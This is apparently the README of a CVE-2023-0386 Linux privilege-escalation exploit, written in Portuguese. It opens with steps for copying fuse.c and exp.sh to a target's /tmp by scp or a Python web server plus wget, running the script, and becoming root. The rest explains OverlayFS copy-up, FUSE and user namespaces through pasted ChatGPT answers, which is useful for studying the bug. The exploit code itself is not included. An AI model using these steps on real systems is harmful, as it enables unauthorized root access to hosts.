
Exp e análise muito simples do CVE-2023-0386. Use c e sh.
Uso do Exp:
Primeiro: Envie fuse.c e exp.sh para o diretório /tmp.
Você pode usar scp ou python3 -m http.server para enviar o arquivo ao alvo.
scp ~/Desktop/CVE-2023-0386/exp.sh [email protected]:/tmp
scp ~/Desktop/CVE-2023-0386/fuse.c [email protected]:/tmp #your machine
ou
cd ~/Desktop/CVE-2023-0386
python3 -m http.server #your machine
wget your_ip:8000/exp.sh
wget your_ip:8000/fuse.c #target
E depois:
cd /tmp
/bin/bash exp.sh
Agora, você é root!

A seguir está uma análise detalhada da CVE-2023-0386.
Também passei o dia estudando essa vulnerabilidade ontem. Em resumo, quando o OverlayFS copia um arquivo da camada inferior para a camada superior, ele não verifica se o usuário no namespace da camada inferior está mapeado para o namespace de usuário atual, o que permite configurar o suid para escalonamento de privilégios.
Isso parece bem abstrato. Para entender essa questão, primeiro precisamos saber alguns pontos:
ChatGPT: Apresente detalhadamente o OverlayFS no Linux.
OverlayFS, também conhecido como sistema de arquivos Overlay, é um sistema de arquivos union no kernel Linux que permite sobrepor vários sistemas de arquivos diferentes, formando uma visão única e unificada. Ele foi oficialmente aceito no kernel na versão 3.18.
O OverlayFS tem três componentes principais: lower filesystem, upper filesystem e merged filesystem. A função de cada um é a seguinte:
Lower filesystem (sistema de arquivos inferior): Esta é a camada base, geralmente somente leitura. Todos os arquivos e diretórios são inicialmente obtidos desta camada.
Upper filesystem (sistema de arquivos superior): Esta é a camada superior, geralmente gravável. Quando realizamos operações de escrita no sistema de arquivos, todas as alterações são salvas nesta camada. Se um arquivo existe no lower filesystem e queremos modificá-lo, uma cópia desse arquivo é criada no upper filesystem e então modificada. Esse processo é chamado de "copy-up".
Merged filesystem (sistema de arquivos mesclado): Esta é a visão final do OverlayFS, que combina o lower e o upper filesystem. Quando realizamos uma operação de leitura, o OverlayFS primeiro procura o arquivo no upper filesystem; se não encontrar, procura no lower filesystem.
A visão lógica dessa estrutura é a seguinte:
________________
| |
| Merged View |
|________________|
/ \
____________ ____________
| | | |
| Lower | | Upper |
| (read-only)| | (read-write)|
|____________| |____________|
Uma aplicação importante do OverlayFS está em aplicações conteinerizadas, especialmente no Docker. No Docker, cada camada de imagem é somente leitura e pode ser usada como lower filesystem para outros contêineres. Quando iniciamos um novo contêiner, o Docker cria um novo upper filesystem vazio para ele. Assim, todas as alterações feitas no contêiner (por exemplo, instalar novos softwares) afetam apenas o upper filesystem, sem impactar as camadas de imagem compartilhadas.
Além disso, como o OverlayFS permite montar vários lower filesystems sob uma mesma camada superior, também podemos criar sistemas de arquivos com várias camadas, o que é amplamente utilizado nas camadas de imagem do Docker.
Em resumo, os arquivos da camada inferior são somente leitura, os da camada superior são leitura/escrita, e a camada mesclada combina os arquivos das duas camadas, exibindo uma visão unificada. Quando modificamos, na camada mesclada, um arquivo que existe na camada inferior mas não na superior, o arquivo da camada inferior é copiado intacto para a camada superior para modificação. Esse também é o ponto de disparo da vulnerabilidade.
GPT: Você é um especialista em kernel Linux; agora explique detalhadamente o que é FUSE.
FUSE (Filesystem in Userspace) é um mecanismo para criar sistemas de arquivos no espaço do usuário. É uma interface fornecida pelo kernel Linux que permite aos usuários desenvolver e executar seus próprios sistemas de arquivos sem modificar o código do kernel.
O principal objetivo do FUSE é simplificar o desenvolvimento e o uso de novos sistemas de arquivos. Com o FUSE, você pode criar sistemas de arquivos personalizados sem conhecer muitos detalhes das APIs do kernel. Isso é muito útil em cenários como depuração, prototipagem rápida, pesquisa acadêmica e implementação de sistemas de arquivos muito especiais (como sistemas de arquivos com criptografia transparente ou sistemas de arquivos de rede).
No FUSE, a maior parte da lógica do sistema de arquivos é executada no espaço do usuário. Isso torna o desenvolvimento mais fácil porque o espaço do usuário oferece um ambiente de desenvolvimento mais amigável: você pode usar qualquer linguagem de programação que preferir, tem mais bibliotecas disponíveis, o tratamento de erros é mais simples, etc. Por outro lado, isso também significa que os sistemas de arquivos FUSE geralmente são mais lentos que os do espaço do kernel, pois precisam alternar frequentemente o contexto entre o espaço do usuário e o espaço do kernel.
Um sistema de arquivos FUSE normalmente é composto por duas partes:
Ao desenvolver um sistema de arquivos FUSE, você precisa implementar uma série de funções de retorno de chamada (callbacks) que correspondem a várias operações do sistema de arquivos, como abrir arquivos, ler arquivos, gravar arquivos, etc. Quando essas operações ocorrem, o módulo FUSE no kernel chama o callback correspondente e retorna o resultado ao chamador.
Em suma, o FUSE fornece uma estrutura poderosa para implementar sistemas de arquivos no espaço do usuário, simplificando o desenvolvimento e permitindo que o sistema de arquivos seja estendido e modificado de forma modular.
Na verdade, o FUSE permite que o usuário personalize um sistema de arquivos e os arquivos dentro dele.
Precisamos usar a linguagem C para escrever o código relacionado ao FUSE.
Você é um especialista em kernel Linux; o que é namespace de usuário?
No Linux, "namespace" é um recurso do kernel que pode ser usado para isolar a visão dos processos, fazendo com que cada processo veja apenas os recursos pertencentes ao mesmo namespace. Cada tipo de namespace corresponde a um tipo específico de recurso. Por exemplo, o namespace PID (Process ID) é usado para isolar IDs de processos, o namespace Net é usado para isolar interfaces de rede e a pilha de rede, o namespace Mount é usado para isolar pontos de montagem do sistema de arquivos, etc.
O namespace de usuário (User Namespace) é um tipo de namespace do Linux, usado principalmente para isolar IDs de usuários e grupos. Cada namespace de usuário tem seu próprio conjunto de IDs de usuários e grupos. Por exemplo, um processo pode ser executado como root (UID 0) no namespace de usuário A, mas no namespace de usuário B pode ser apenas um usuário comum.